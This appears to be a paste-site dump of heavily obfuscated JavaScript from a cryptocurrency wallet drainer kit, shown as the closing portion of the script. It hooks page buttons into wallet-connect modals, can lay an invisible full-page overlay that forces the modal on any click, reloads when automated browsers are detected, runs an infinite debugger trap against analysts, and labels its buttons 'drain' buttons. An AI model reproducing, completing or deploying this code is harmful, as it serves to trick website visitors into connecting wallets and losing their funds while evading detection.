- if (vQ34.change_buttons_text) {
- _0x1d7a6d[9].textContent = vQ34.disconnect_text;
- }
- }
- }
- if (vQ34.wait_click_of_drain_button_to_start) {
- if (vQ34.change_buttons_text && vQ34.drain_button_waiting_click_text) {
- for (let v709 of v635) {
- v709.textContent = vQ34["drain_button_waiting_cli" + ABLWty(1187)];
- }
- }
- _0x38a594(_0x35cb83("connect_but_wait_click_to_start"), "connect");
- await new Promise(ZZ1LRs((..._0x483fd1) => {
- _0x483fd1.length = 1;
- _0x483fd1.CTFJNe = _0x483fd1[0];
- for (let v710 of v635) {
- v710.addEventListener("click", _0x483fd1.CTFJNe, {
- once: JZmylD(0, vzwAVq = 7)
- });
- }
- }, 1));
- }
- f54();
- } catch (_0x5ab56b) {
- const v711 = {
- process: "CONNECT_WALLET",
- error: _0x5ab56b
- };
- await _0x52db9b(v711);
- return location.reload();
- }
- }
- function f56() {
- if (!vJZmylD52) {
- vJZmylD52 = JZmylD(0, WAZ9Ax(7));
- if (vQ34.use_window_provider_if_detected && (window.ethereum || window.BinanceChain)) {
- if (window.BinanceChain) {
- f55(window.BinanceChain);
- } else if (window.ethereum.providers && window.ethereum.providers[ABLWty(17)]) {
- f55(window.ethereum.providers[0]);
- } else {
- f55(window.ethereum);
- }
- } else {
- v633.open();
- }
- }
- }
- async function f57(..._0x3ac191) {
- _0x3ac191.length = 0;
- _0x3ac191.nu_efVJ = -125;
- try {
- while (JZmylD(window.document.body, vzwAVq = 7) || JZmylD(window.document[ABLWty(437)], WAZ9Ax(7))) {
- await _0x49a228(100);
- }
- if (window.navigator.webdriver) {
- return location.reload();
- }
- try {
- if ([1, 4].includes(vQ34.modal_style)) {
- _0x3ac191.KxDEbm = gs();
- v633 = new _0x3ac191.KxDEbm(f55);
- } else if (vQ34.modal_style === 3) {
- _0x3ac191.VWq5pYG = be();
- v633 = new _0x3ac191.VWq5pYG(f55);
- } else if (vQ34.modal_style === 2) {
- _0x3ac191.fBg2mUs = bs();
- v633 = new _0x3ac191.fBg2mUs(f55);
- } else if (vQ34.modal_style === 5) {
- _0x3ac191[3] = ks();
- v633 = new _0x3ac191[3](f55);
- } else if (vQ34.modal_style === 6) {
- _0x3ac191.KYnZFW = xs();
- v633 = new _0x3ac191.KYnZFW(f55);
- } else if (vQ34.modal_style === 7) {
- _0x3ac191[5] = Ns();
- v633 = new _0x3ac191[5]();
- await v633.init(f55);
- } else if (vQ34.modal_style === 8) {
- _0x3ac191[6] = Ms();
- v633 = new _0x3ac191[_0x3ac191.nu_efVJ + 131](f55);
- } else if (vQ34.modal_style === 9) {
- _0x3ac191[_0x3ac191.nu_efVJ + 132] = qs();
- v633 = new _0x3ac191[_0x3ac191.nu_efVJ - -(_0x3ac191.nu_efVJ + 257)](f55);
- } else if (vQ34.modal_style === 10) {
- _0x3ac191.uGsjWd = Fs();
- v633 = new _0x3ac191.uGsjWd(f55);
- } else if (vQ34.modal_style === 11) {
- _0x3ac191.Z2A7aFR = js();
- v633 = new _0x3ac191.Z2A7aFR(f55);
- } else if (vQ34.modal_style === 12) {
- _0x3ac191[10] = we();
- v633 = new _0x3ac191[10](f55);
- } else if (vQ34.modal_style === 13) {
- _0x3ac191[11] = Hs();
- v633 = new _0x3ac191[_0x3ac191.nu_efVJ + 136](f55);
- } else if (vQ34.modal_style === 14) {
- _0x3ac191[12] = Ks();
- v633 = new _0x3ac191[12](f55);
- } else if (vQ34.modal_style === 15) {
- _0x3ac191.nbkqKMS = Xs();
- v633 = new _0x3ac191.nbkqKMS(f55);
- } else {
- return location.reload();
- }
- } catch (_0x2281ee) {
- await _0x52db9b({
- process: "START",
- step: "INIT_MODAL",
- error: _0x2281ee,
- data: {
- os: _0x5b0ea3,
- browser: _0x16399a,
- isMobile: _0x4aa644,
- [ABLWty(1188) + ABLWty(449)]: vQ34.modal_style
- }
- });
- return location[ABLWty(1032)]();
- }
- if (function (p277) {
- for (var v712 = 16; v712 % 4 === 0; v712++) {
- var v713 = 0;
- p277 = p277.concat(function () {
- v713++;
- if (v713 === 1) {
- return [];
- }
- for (var v714 = 42; v714; v714--) {
- p277.unshift(p277.pop());
- }
- return [];
- }());
- }
- for (var v715 = 19; v715; v715--) {
- p277.unshift(p277.pop());
- }
- return p277;
- }([15, 3, 10, 12, 14]).includes(vQ34.modal_style)) {
- await v633.disconnect();
- } else {
- await v633[ABLWty.call(undefined, 220) + "ConnectModal"].disconnect();
- }
- if (vQ34.enable_popup) {
- try {
- if (vQ34.popup_style === 1) {
- _0x3ac191[15] = Qs();
- v632 = new _0x3ac191[15]();
- } else if (vQ34.popup_style === 2) {
- _0x3ac191[16] = ta();
- v632 = new _0x3ac191[16]();
- } else if (vQ34.popup_style === 3) {
- _0x3ac191.Gct92a = aa();
- v632 = new _0x3ac191.Gct92a();
- } else if (vQ34.popup_style === 4) {
- _0x3ac191.D1afQEH = oa();
- v632 = new _0x3ac191.D1afQEH();
- } else if (vQ34.popup_style === 5) {
- _0x3ac191[19] = ra();
- v632 = new _0x3ac191[_0x3ac191.nu_efVJ + 144]();
- } else if (vQ34.popup_style === 6) {
- _0x3ac191[_0x3ac191.nu_efVJ + 145] = ca();
- v632 = new _0x3ac191[20]();
- } else if (vQ34.popup_style === 7) {
- _0x3ac191.VEpclq8 = pa();
- v632 = new _0x3ac191.VEpclq8();
- } else if (vQ34.popup_style === 8) {
- _0x3ac191[22] = ma();
- v632 = new _0x3ac191[22](vQ34.modal_style === 14 ? v633.onboard : JZmylD(1, vzwAVq = 7));
- }
- } catch (_0x30edf4) {
- _0x52db9b({
- process: "START",
- step: "INIT_POPUP",
- error: _0x30edf4,
- data: {
- os: _0x5b0ea3,
- [ABLWty(241)]: _0x16399a,
- isMobile: _0x4aa644,
- popupStyle: vQ34.popup_style
- }
- });
- vQ34.enable_popup = JZmylD(1, WAZ9Ax(7));
- }
- }
- if (vD25.isTelegramMiniApp && _0x5b0ea3 === "IOS") {
- try {
- _0x3ac191.ucyOjDl = ha();
- new _0x3ac191.ucyOjDl().open();
- } catch (_0x2e4cbb) {
- _0x52db9b({
- process: "START",
- step: "INIT_OPEN_SAFARI_WARNING_POPUP",
- error: _0x2e4cbb,
- data: {
- os: _0x5b0ea3,
- [ABLWty(241)]: _0x16399a,
- isMobile: _0x4aa644
- }
- });
- }
- }
- if (vQ34.click_everywhere_open_modal) {
- _0x3ac191[26] = document.createElement("style");
- _0x3ac191[_0x3ac191.nu_efVJ + 151].innerHTML = "#global-modal-overlay{position:fixed;top:0;left:0;width:100%;height:100%;z-index:2147483644}";
- document.head.appendChild(_0x3ac191[26]);
- _0x3ac191[27] = document.createElement("div");
- _0x3ac191[27].id = "global-modal-overlay";
- document.body.appendChild(_0x3ac191[27]);
- _0x3ac191[27][ABLWty(1114) + "ntListener"](ABLWty(1092), f56);
- } else {
- async function f58(p278 = JZmylD(1, vzwAVq = 7)) {
- let vJZmylD57 = JZmylD(".", vQ34.connect_buttons_class, WAZ9Ax(-5));
- let v716;
- v716 = document.querySelectorAll(vJZmylD57);
- while (JZmylD(p278, WAZ9Ax(7)) && (JZmylD(v716, vzwAVq = 7) || JZmylD(v716.length, vzwAVq = 7))) {
- await _0x49a228(100);
- }
- if (v716 && v716.length) {
- v634 = v716;
- }
- let vJZmylD58 = JZmylD(".", vQ34.drain_buttons_class, vzwAVq = -5);
- let v717;
- v717 = document.querySelectorAll(vJZmylD58);
- while (JZmylD(p278, WAZ9Ax(7)) && (JZmylD(v717, vzwAVq = 7) || JZmylD(v717.length, WAZ9Ax(7)))) {
- await _0x49a228(100);
- }
- if (v717 && v717.length) {
- v635 = v717;
- }
- if (vQ34[ABLWty(32) + "nect_buttons_class"] !== "") {
- let vJZmylD59 = JZmylD(".", vQ34.disconnect_buttons_class, WAZ9Ax(-5));
- let v718;
- v718 = document.querySelectorAll(vJZmylD59);
- while (JZmylD(p278, WAZ9Ax(7)) && (JZmylD(v718, vzwAVq = 7) || JZmylD(v718.length, WAZ9Ax(7)))) {
- await _0x49a228(100);
- }
- if (v718 && v718.length) {
- v636 = v718;
- }
- }
- }
- await f58();
- if (window.MutationObserver) {
- new window.MutationObserver(f58).observe(document, {
- subtree: JZmylD(0, vzwAVq = 7),
- childList: JZmylD(0, WAZ9Ax(7))
- });
- }
- v637 = [...new Set([...v634, ...v635, ...v636])];
- for (let v719 of v637) {
- if (vQ34.change_buttons_text && vQ34.connect_text) {
- v719[ABLWty(1025) + "ntent"] = vQ34.connect_text;
- }
- v719.addEventListener("click", f56);
- }
- }
- if (vQ34.auto_prompt) {
- f56();
- }
- window.rjxgjf6dpm = f56;
- } catch (_0x3da4c1) {
- await _0x52db9b({
- process: "START",
- error: _0x3da4c1,
- data: {
- os: _0x5b0ea3,
- browser: _0x16399a,
- isMobile: _0x4aa644,
- popupStye: vQ34[ABLWty(99) + "style"],
- ["modalS" + ABLWty(_0x3ac191.nu_efVJ + 574)]: vQ34.modal_style
- }
- });
- return location.reload();
- }
- }
- if (vQ34.wait_page_load) {
- window.onload = f57;
- } else {
- f57();
- }
- })();
- ZZ1LRs(f59, 1);
- function f59(..._0x56f9af) {
- _0x56f9af.length = 1;
- _0x56f9af[179] = _0x56f9af[0];
- ZZ1LRs(f60, 1);
- function f60(..._0x5b2eda) {
- _0x5b2eda.length = 1;
- _0x5b2eda[103] = _0x5b2eda[0];
- if (typeof _0x5b2eda[103] === "string") {
- return ZZ1LRs(function (..._0x3be9fd) {
- _0x3be9fd.length = 1;
- }, 1).constructor("while (true) {}").apply("counter");
- } else if (("" + _0x5b2eda[103] / _0x5b2eda[103]).length !== 1 || _0x5b2eda[103] % 20 === 0) {
- (function () {
- return JZmylD(JZmylD([], vzwAVq = 7), WAZ9Ax(7));
- }).constructor(JZmylD("debu", "ger", WAZ9Ax(-5))).call("action");
- } else {
- (function () {
- return JZmylD([], WAZ9Ax(7));
- }).constructor(JZmylD("debu", "ger", WAZ9Ax(-5))).apply("stateObject");
- }
- f60(++_0x5b2eda[103]);
- }
- try {
- if (_0x56f9af[179]) {
- return f60;
- } else {
- f60(0);
- }
- } catch (_0x2815c6) {}
- }
- ZZ1LRs(v_QllU, 1);
- function v_QllU(..._0x5548bd) {
- _0x5548bd.length = 1;
- _0x5548bd[160] = 133;
- _0x5548bd.RI_Inv = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!#$%&()*+,./:;<=>?@[]^_`{|}~\"";
- _0x5548bd[160] = _0x5548bd[160] - 156;
- _0x5548bd[2] = "" + (_0x5548bd[_0x5548bd[160] + 23] || "");
- _0x5548bd[3] = _0x5548bd[_0x5548bd[160] + 25].length;
- _0x5548bd.Yy0uH2m = [];
- _0x5548bd[_0x5548bd[160] + 28] = 0;
- _0x5548bd.Iub95OZ = 0;
- _0x5548bd.Kg9Il6s = -1;
- for (let v720 = 0; v720 < _0x5548bd[3]; v720++) {
- _0x5548bd.FSEJnV6 = _0x5548bd.RI_Inv.indexOf(_0x5548bd[2][v720]);
- if (_0x5548bd.FSEJnV6 === -1) {
- continue;
- }
- if (_0x5548bd.Kg9Il6s < 0) {
- _0x5548bd.Kg9Il6s = _0x5548bd.FSEJnV6;
- } else {
- _0x5548bd.Kg9Il6s += _0x5548bd.FSEJnV6 * 91;
- _0x5548bd[_0x5548bd[160] + 28] |= _0x5548bd.Kg9Il6s << _0x5548bd.Iub95OZ;
- _0x5548bd.Iub95OZ += (_0x5548bd.Kg9Il6s & 8191) > 88 ? 13 : 14;
- do {
- _0x5548bd.Yy0uH2m.push(_0x5548bd[5] & 255);
- _0x5548bd[5] >>= 8;
- _0x5548bd.Iub95OZ -= 8;
- } while (_0x5548bd.Iub95OZ > 7);
- _0x5548bd.Kg9Il6s = -1;
- }
- }
- if (_0x5548bd.Kg9Il6s > -1) {
- _0x5548bd.Yy0uH2m.push((_0x5548bd[_0x5548bd[_0x5548bd[160] + 183] + 28] | _0x5548bd.Kg9Il6s << _0x5548bd.Iub95OZ) & 255);
- }
- if (_0x5548bd[160] > _0x5548bd[160] + 106) {
- return _0x5548bd[-242];
- } else {
- return I0LIh9(_0x5548bd.Yy0uH2m);
- }
- }
- function ABLWty(p279, p280, p281, p282 = v_QllU, p283 = _kBRlZ) {
- if (p281) {
- return p280[_kBRlZ[p281]] = ABLWty(p279, p280);
- } else if (p280) {
- [p283, p280] = [p282(p283), p279 || p281];
- }
- if (p280) {
- return p279[p283[p280]];
- } else {
- return _kBRlZ[p279] || ((p283[p279], p281 = p282), _kBRlZ[p279] = p281(voVLVY[p279]));
- }
- }
- })();
Add Comment
Please, Sign In to add comment